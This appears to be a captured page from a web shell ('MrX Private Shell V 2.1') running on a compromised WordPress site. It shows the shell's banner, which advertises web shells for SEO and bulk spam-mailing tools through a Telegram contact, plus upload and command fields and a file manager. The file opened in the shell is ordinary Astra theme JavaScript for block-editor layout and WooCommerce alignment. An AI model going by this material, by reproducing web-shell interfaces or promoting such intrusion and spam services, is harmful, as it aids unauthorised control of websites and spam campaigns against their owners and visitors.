__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
const updatingBlock = ['core/group'];

wp.hooks.addFilter(
	'blocks.registerBlockType',
	'astra/meta/groupLayoutSettings',
	(settings, name) => {
		if (!updatingBlock.includes(name)) {
			return settings;
		}

		const newSettings = {
			...settings,
			supports: {
				...(settings.supports || {}),
				layout: {
					...(settings.supports.layout || {}),
					allowEditing: true,
					allowSwitching: false,
					allowInheriting: true,
				},
				__experimentalLayout: {
					...(settings.supports.__experimentalLayout || {}),
					allowEditing: true,
					allowSwitching: false,
					allowInheriting: true,
				},
			},
		};
		return newSettings;
	},
	20
);

// Get the block editor's data module.
const { dispatch } = wp.data;

// Create a function to set the default align attribute
function setWooDefaultAlignments() {
	const checkoutBlocks = wp.blocks.getBlockTypes().some(block => block.name === 'woocommerce/checkout');
	const cartBlocks = wp.blocks.getBlockTypes().some(block => block.name === 'woocommerce/cart');

	if ( checkoutBlocks ) {
	const checkoutBlock = wp.data.select('core/block-editor').getBlocks().find(block => block.name === 'woocommerce/checkout');
		if (checkoutBlock && checkoutBlock.attributes.align !== 'none') {
			const checkoutClientId = checkoutBlock.clientId;
			const checkoutLocalStorageKey = 'hasCheckoutBlockInserted';
			const checkoutLocalStorageData = JSON.parse(localStorage.getItem(checkoutLocalStorageKey)) || {};

			if ( ! checkoutLocalStorageData[checkoutClientId] ) {
				const updatedCheckoutAttributes = { ...checkoutBlock.attributes, align: 'none' };
				dispatch('core/block-editor').updateBlockAttributes(checkoutClientId, updatedCheckoutAttributes);

				checkoutLocalStorageData[checkoutClientId] = true;
				localStorage.setItem(checkoutLocalStorageKey, JSON.stringify(checkoutLocalStorageData));
			}
		}
	}

	if ( cartBlocks ) {
	const cartBlock = wp.data.select('core/block-editor').getBlocks().find(block => block.name === 'woocommerce/cart');
		if (cartBlock && cartBlock.attributes.align !== 'none') {
			const cartClientId = cartBlock.clientId;
			const cartLocalStorageKey = 'hasCartBlockInserted';
			const cartLocalStorageData = JSON.parse(localStorage.getItem(cartLocalStorageKey)) || {};

			if ( ! cartLocalStorageData[cartClientId] ) {
				const updatedCartAttributes = { ...cartBlock.attributes, align: 'none' };
				dispatch('core/block-editor').updateBlockAttributes(cartBlock.clientId, updatedCartAttributes);

				cartLocalStorageData[cartClientId] = true;
				localStorage.setItem(cartLocalStorageKey, JSON.stringify(cartLocalStorageData));
			}
		}
	}
}

// Listen for the first insertion of a WooCommerce block
wp.data.subscribe(() => {
	setWooDefaultAlignments();
});

Filemanager

Name Type Size Permission Actions
ast-parse-svg.js File 232 B 0640
ast-render-svg.js File 852 B 0640
astra-admin-menu-settings.js File 4.72 KB 0640
block-editor-script.js File 39.61 KB 0640
column-block-compatibility.js File 2.68 KB 0640
custom-fields-priority.js File 870 B 0640
customizer-preview.js File 10.79 KB 0640
Filemanager